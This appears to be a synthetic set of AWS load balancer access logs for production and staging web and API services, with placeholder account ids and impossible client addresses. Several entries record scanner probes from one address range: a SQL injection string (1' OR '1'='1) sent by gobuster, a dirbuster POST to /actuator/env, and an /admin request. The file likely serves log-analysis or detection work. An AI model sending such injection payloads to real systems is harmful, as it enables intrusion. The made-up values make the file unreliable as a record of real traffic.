74.158.27.192:80 0.041122 0.394558 0.022057 302 302 523 8986 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb24-edede2da11d540e685ffbfcd" "staging-alb.example.com" "-" 2 2024-11-01T01:23:32.483135Z "forward" "-" "-" "74.158.27.192:80" "302" "-" "-" +https 2024-11-01T01:23:34.213518Z staging-alb 193.27.228.87:39727 141.142.235.232:80 0.132100 0.158505 0.100894 301 301 301 10595 "GET /admin HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb26-7158353657e54a6ba41c6b86" "-" "-" 2 2024-11-01T01:23:34.213518Z "forward" "-" "-" "141.142.235.232:80" "301" "-" "-" +https 2024-11-01T01:23:35.524367Z prod-web-alb 67.95.12.159:17717 10.0.15.121:443 0.055250 0.340408 0.039348 200 200 853 8080 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb27-6994b101d1dd4c6abc3c2418" "prod-web-alb.example.com" "-" 5 2024-11-01T01:23:35.524367Z "forward" "-" "-" "10.0.15.121:443" "200" "-" "-" +http 2024-11-01T01:23:36.129136Z staging-alb 63.210.23.69:57617 57.172.91.221:443 0.088296 0.124510 0.070047 301 301 141 14462 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb28-3d99b91c2beb41a9993bad02" "staging-alb.example.com" "-" 1 2024-11-01T01:23:36.129136Z "forward" "-" "-" "57.172.91.221:443" "301" "-" "-" +https 2024-11-01T01:23:36.580092Z prod-web-alb 254.84.21.223:51892 10.0.42.222:443 0.085480 0.287029 0.077114 200 200 290 12811 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb28-e28e8c7a2d014193ad23c761" "prod-web-alb.example.com" "-" 3 2024-11-01T01:23:36.580092Z "forward" "-" "-" "10.0.42.222:443" "200" "-" "-" +https 2024-11-01T01:23:38.537021Z prod-web-alb 69.170.72.125:59330 10.0.220.92:443 0.095509 0.470778 0.054312 200 200 936 4210 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb2a-d87067d271a64a02880259f7" "prod-web-alb.example.com" "-" 3 2024-11-01T01:23:38.537021Z "forward" "-" "-" "10.0.220.92:443" "200" "-" "-" +https 2024-11-01T01:23:40.360004Z prod-api-alb 40.106.122.195:29553 10.0.5.15:443 0.097178 0.319982 0.054820 404 404 317 9697 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb2c-9ba1360f8dc441508cfe817a" "prod-api-alb.example.com" "-" 3 2024-11-01T01:23:40.360004Z "forward" "-" "-" "10.0.5.15:443" "404" "-" "-" +http 2024-11-01T01:23:41.174231Z staging-alb 31.89.174.69:10145 173.113.141.211:8080 0.003827 0.738234 0.033652 301 301 298 244 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb2d-0cf27e878247413b8959be71" "staging-alb.example.com" "-" 4 2024-11-01T01:23:41.174231Z "forward" "-" "-" "173.113.141.211:8080" "301" "-" "-" +https 2024-11-01T01:23:42.711053Z prod-api-alb 116.40.77.153:28923 10.0.150.51:443 0.079280 0.286820 0.004913 302 302 14 7315 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb2e-65d43a246ec54cf28cb3139b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:23:42.711053Z "forward" "-" "-" "10.0.150.51:443" "302" "-" "-" +https 2024-11-01T01:23:44.389549Z prod-api-alb 60.130.73.230:32765 10.0.108.106:443 0.012014 0.178869 0.036953 200 200 579 6530 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb30-0a9789159f0046fb9b5b78df" "prod-api-alb.example.com" "-" 0 2024-11-01T01:23:44.389549Z "forward" "-" "-" "10.0.108.106:443" "200" "-" "-" +http 2024-11-01T01:23:46.186022Z staging-alb 208.85.228.48:35701 199.5.174.217:8080 0.045715 0.360117 0.106168 200 200 837 9367 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb32-a7ff2a3f70ba4b8b93418b40" "staging-alb.example.com" "-" 5 2024-11-01T01:23:46.186022Z "forward" "-" "-" "199.5.174.217:8080" "200" "-" "-" +https 2024-11-01T01:23:46.574655Z staging-alb 29.26.237.136:42290 94.123.7.70:80 0.074720 0.023427 0.089915 200 200 485 12712 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb32-b2bf5f3503484e6e92e8c38f" "staging-alb.example.com" "-" 0 2024-11-01T01:23:46.574655Z "forward" "-" "-" "94.123.7.70:80" "200" "-" "-" +https 2024-11-01T01:23:47.161288Z prod-api-alb 236.111.213.6:21787 10.0.44.154:443 0.086269 0.321975 0.096332 301 301 725 7862 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb33-cb0840ebe72b4721a6c307f5" "prod-api-alb.example.com" "-" 2 2024-11-01T01:23:47.161288Z "forward" "-" "-" "10.0.44.154:443" "301" "-" "-" +https 2024-11-01T01:23:47.522757Z prod-api-alb 100.152.222.86:37751 10.0.11.147:443 0.088242 0.457828 0.051919 200 200 619 4087 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb33-accb8df5500d4a5ea08ebfc8" "-" "-" 1 2024-11-01T01:23:47.522757Z "forward" "-" "-" "10.0.11.147:443" "200" "-" "-" +https 2024-11-01T01:23:49.236484Z prod-web-alb 19.199.6.223:21354 10.0.149.222:443 0.058457 0.167657 0.075582 404 404 7 10446 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb35-46ac2de262c345c2aae3fa28" "prod-web-alb.example.com" "-" 10 2024-11-01T01:23:49.236484Z "forward" "-" "-" "10.0.149.222:443" "404" "-" "-" +http 2024-11-01T01:23:50.359098Z staging-alb 239.134.33.182:60342 89.237.106.113:8080 0.104012 0.223930 0.141598 200 200 281 7866 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb36-576f01b3589a4965aab92c9f" "staging-alb.example.com" "-" 8 2024-11-01T01:23:50.359098Z "forward" "-" "-" "89.237.106.113:8080" "200" "-" "-" +https 2024-11-01T01:23:50.681867Z prod-api-alb 61.200.82.83:16563 10.0.43.63:443 0.002641 0.153084 0.065686 200 200 445 12579 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb36-9aace8bdc60f4e8ab035440d" "prod-api-alb.example.com" "-" 1 2024-11-01T01:23:50.681867Z "forward" "-" "-" "10.0.43.63:443" "200" "-" "-" +http 2024-11-01T01:23:51.807491Z staging-alb 46.30.187.169:30006 157.136.89.22:8080 0.136002 0.675997 0.048968 200 200 6 4560 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb37-3acee5d001a74b0d8a3f3385" "staging-alb.example.com" "-" 6 2024-11-01T01:23:51.807491Z "forward" "-" "-" "157.136.89.22:8080" "200" "-" "-" +https 2024-11-01T01:23:53.000597Z prod-api-alb 55.149.228.126:17658 10.0.198.238:443 0.037791 0.312724 0.013376 200 200 313 14407 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb39-8763462bfb5d4a759c5a6192" "prod-api-alb.example.com" "-" 2 2024-11-01T01:23:53.000597Z "forward" "-" "-" "10.0.198.238:443" "200" "-" "-" +https 2024-11-01T01:23:54.911105Z prod-api-alb 116.252.245.110:49277 10.0.133.13:443 0.099774 0.035438 0.055916 302 302 383 6661 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb3a-52ffb7d51f9b4cfbaca90fcf" "prod-api-alb.example.com" "-" 9 2024-11-01T01:23:54.911105Z "forward" "-" "-" "10.0.133.13:443" "302" "-" "-" +https 2024-11-01T01:23:55.531363Z prod-api-alb 123.8.239.254:43515 10.0.26.96:443 0.008873 0.062383 0.006928 200 200 999 5426 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb3b-dca0129a63ce44be96593726" "prod-api-alb.example.com" "-" 0 2024-11-01T01:23:55.531363Z "forward" "-" "-" "10.0.26.96:443" "200" "-" "-" +https 2024-11-01T01:23:56.284995Z prod-api-alb 77.244.196.96:39564 10.0.139.176:443 0.036369 0.391898 0.022789 200 200 918 3751 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb3c-07b34e3498c54d87b1c52e30" "prod-api-alb.example.com" "-" 3 2024-11-01T01:23:56.284995Z "forward" "-" "-" "10.0.139.176:443" "200" "-" "-" +https 2024-11-01T01:23:57.011927Z prod-api-alb 170.242.229.28:11584 10.0.219.192:443 0.074500 0.472462 0.031475 200 200 547 14156 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb3d-45eeeade1d994ede8b829bae" "prod-api-alb.example.com" "-" 2 2024-11-01T01:23:57.011927Z "forward" "-" "-" "10.0.219.192:443" "200" "-" "-" +https 2024-11-01T01:23:57.660965Z prod-api-alb 5.115.177.34:38335 10.0.194.202:443 0.039191 0.397051 0.066657 200 200 532 6293 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb3d-08a4af5ab3f14cdbad188e99" "prod-api-alb.example.com" "-" 5 2024-11-01T01:23:57.660965Z "forward" "-" "-" "10.0.194.202:443" "200" "-" "-" +https 2024-11-01T01:23:59.408376Z prod-api-alb 237.251.16.116:11996 10.0.151.65:443 0.073299 0.195910 0.017230 200 200 268 469 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb3f-e81b03fa62a743cdb52a22cc" "prod-api-alb.example.com" "-" 6 2024-11-01T01:23:59.408376Z "forward" "-" "-" "10.0.151.65:443" "200" "-" "-" +https 2024-11-01T01:24:01.259145Z staging-alb 255.135.169.36:54859 178.240.106.129:8080 0.086680 0.713086 0.128989 302 302 835 9481 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb41-f5f977448fcb49f596c6db46" "staging-alb.example.com" "-" 8 2024-11-01T01:24:01.259145Z "forward" "-" "-" "178.240.106.129:8080" "302" "-" "-" +https 2024-11-01T01:24:02.278876Z staging-alb 86.57.184.45:12538 69.245.67.223:443 0.091526 0.067800 0.052832 200 200 334 11474 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb42-a2ee9224eda64b8d898daf1e" "staging-alb.example.com" "-" 7 2024-11-01T01:24:02.278876Z "forward" "-" "-" "69.245.67.223:443" "200" "-" "-" +http 2024-11-01T01:24:02.470457Z staging-alb 156.17.201.81:49353 101.15.201.76:443 0.038282 0.498397 0.054758 200 200 935 7709 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb42-6c7bb71301204b4b9415de55" "staging-alb.example.com" "-" 3 2024-11-01T01:24:02.470457Z "forward" "-" "-" "101.15.201.76:443" "200" "-" "-" +https 2024-11-01T01:24:03.471626Z prod-api-alb 19.111.20.244:12348 10.0.112.7:443 0.026678 0.021725 0.077872 301 301 599 9604 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb43-0a6d0aee0de644a08a9170a5" "prod-api-alb.example.com" "-" 9 2024-11-01T01:24:03.471626Z "forward" "-" "-" "10.0.112.7:443" "301" "-" "-" +https 2024-11-01T01:24:04.028305Z prod-web-alb 224.210.226.62:11149 10.0.149.235:443 0.018944 0.149151 0.090053 404 404 252 12570 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb44-af455656b0a94667932172e6" "prod-web-alb.example.com" "-" 8 2024-11-01T01:24:04.028305Z "forward" "-" "-" "10.0.149.235:443" "404" "-" "-" +http 2024-11-01T01:24:04.359655Z staging-alb 243.59.46.16:30329 170.181.16.212:443 0.076095 0.481761 0.083042 200 200 784 13544 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb44-8c1c1e0eb16840f7b2116f86" "staging-alb.example.com" "-" 2 2024-11-01T01:24:04.359655Z "forward" "-" "-" "170.181.16.212:443" "200" "-" "-" +https 2024-11-01T01:24:05.652546Z staging-alb 240.11.103.190:34673 54.216.109.147:8080 0.046115 0.423242 0.067042 301 301 551 5786 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb45-33093dead19a4128a426fd15" "staging-alb.example.com" "-" 0 2024-11-01T01:24:05.652546Z "forward" "-" "-" "54.216.109.147:8080" "301" "-" "-" +https 2024-11-01T01:24:07.060813Z staging-alb 71.222.30.124:36627 11.250.109.18:80 0.053214 0.625956 0.131411 404 404 930 13554 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb47-5cc92ec1319a4a61b57c0b6d" "staging-alb.example.com" "-" 8 2024-11-01T01:24:07.060813Z "forward" "-" "-" "11.250.109.18:80" "404" "-" "-" +http 2024-11-01T01:24:07.610187Z staging-alb 11.106.239.212:56690 196.68.211.57:8080 0.065828 0.450737 0.121265 302 302 831 5654 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb47-fd932f622fe04bf5b25d507b" "-" "-" 0 2024-11-01T01:24:07.610187Z "forward" "-" "-" "196.68.211.57:8080" "302" "-" "-" +https 2024-11-01T01:24:09.367747Z prod-api-alb 159.192.0.44:30442 10.0.246.210:443 0.036176 0.257925 0.085640 404 404 86 8427 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb49-725a4848306d4020819bc7ac" "prod-api-alb.example.com" "-" 7 2024-11-01T01:24:09.367747Z "forward" "-" "-" "10.0.246.210:443" "404" "-" "-" +https 2024-11-01T01:24:10.405633Z prod-web-alb 22.134.131.251:14616 10.0.195.45:443 0.091793 0.129496 0.049192 200 200 785 13485 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb4a-cd2457f85cae4bcea1b43d58" "prod-web-alb.example.com" "-" 8 2024-11-01T01:24:10.405633Z "forward" "-" "-" "10.0.195.45:443" "200" "-" "-" +https 2024-11-01T01:24:12.018191Z prod-web-alb 242.250.57.117:56385 10.0.10.84:443 0.089302 0.029249 0.047562 200 200 486 11656 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb4c-9be3ce41abdb4c83a7b73e12" "prod-web-alb.example.com" "-" 2 2024-11-01T01:24:12.018191Z "forward" "-" "-" "10.0.10.84:443" "200" "-" "-" +https 2024-11-01T01:24:12.175018Z prod-api-alb 38.26.16.69:62248 10.0.41.88:443 0.021184 0.143340 0.010292 302 302 841 14249 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb4c-fd8dc90e89094952a18ce923" "-" "-" 4 2024-11-01T01:24:12.175018Z "forward" "-" "-" "10.0.41.88:443" "302" "-" "-" +https 2024-11-01T01:24:13.128052Z prod-web-alb 193.27.228.79:26106 10.0.73.252:443 0.079671 0.275961 0.057954 500 500 594 6794 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb4d-fa8fc9e3e11a4a47aa922b5d" "-" "-" 6 2024-11-01T01:24:13.128052Z "forward" "-" "-" "10.0.73.252:443" "500" "-" "-" +https 2024-11-01T01:24:13.302237Z staging-alb 107.218.33.27:45168 48.140.236.25:8080 0.055029 0.027502 0.116652 302 302 919 12959 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb4d-3fb277b7d37748ad839e5436" "staging-alb.example.com" "-" 7 2024-11-01T01:24:13.302237Z "forward" "-" "-" "48.140.236.25:8080" "302" "-" "-" +https 2024-11-01T01:24:13.696828Z prod-web-alb 52.230.102.113:35302 10.0.204.169:443 0.009770 0.318825 0.094175 200 200 33 14869 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb4d-bf8eeadd0a6d4ef7ae76f397" "prod-web-alb.example.com" "-" 10 2024-11-01T01:24:13.696828Z "forward" "-" "-" "10.0.204.169:443" "200" "-" "-" +http 2024-11-01T01:24:15.660799Z staging-alb 103.82.241.51:32758 189.144.237.69:8080 0.125820 0.289083 0.057732 301 301 612 14633 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb4f-8f60913edec243a0bd9d28bf" "staging-alb.example.com" "-" 2 2024-11-01T01:24:15.660799Z "forward" "-" "-" "189.144.237.69:8080" "301" "-" "-" +https 2024-11-01T01:24:17.548876Z staging-alb 35.123.223.3:29608 150.180.5.202:8080 0.005516 0.434336 0.065728 404 404 821 2566 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb51-84fd53c0743a48b0b50ef257" "staging-alb.example.com" "-" 2 2024-11-01T01:24:17.548876Z "forward" "-" "-" "150.180.5.202:8080" "404" "-" "-" +https 2024-11-01T01:24:19.144567Z prod-web-alb 225.81.113.159:53950 10.0.202.218:443 0.022457 0.067327 0.019121 200 200 550 5740 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb53-1404ccc070874b3c96750bb2" "-" "-" 8 2024-11-01T01:24:19.144567Z "forward" "-" "-" "10.0.202.218:443" "200" "-" "-" +http 2024-11-01T01:24:19.781199Z staging-alb 224.31.248.238:63973 169.240.73.154:443 0.111566 0.487556 0.090358 200 200 165 10953 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb53-7e5bdc77e2f84c1095d00ecb" "staging-alb.example.com" "-" 9 2024-11-01T01:24:19.781199Z "forward" "-" "-" "169.240.73.154:443" "200" "-" "-" +https 2024-11-01T01:24:20.579149Z prod-web-alb 193.27.228.126:47604 10.0.80.233:443 0.070282 0.293408 0.056908 403 403 521 10657 "POST /actuator/env HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb54-8411ff0465ef4be2a4950954" "-" "-" 2 2024-11-01T01:24:20.579149Z "forward" "-" "-" "10.0.80.233:443" "403" "-" "-" +https 2024-11-01T01:24:21.398252Z staging-alb 208.144.12.195:12543 190.222.53.130:443 0.013717 0.513137 0.017687 200 200 24 8642 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb55-3fb41502b49041f185c66471" "staging-alb.example.com" "-" 8 2024-11-01T01:24:21.398252Z "forward" "-" "-" "190.222.53.130:443" "200" "-" "-" +http 2024-11-01T01:24:21.716428Z staging-alb 11.172.110.158:30403 188.86.207.13:443 0.131824 0.155881 0.082145 200 200 613 11550 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb55-43331fb7bc254c3f92ef931e" "staging-alb.example.com" "-" 5 2024-11-01T01:24:21.716428Z "forward" "-" "-" "188.86.207.13:443" "200" "-" "-" 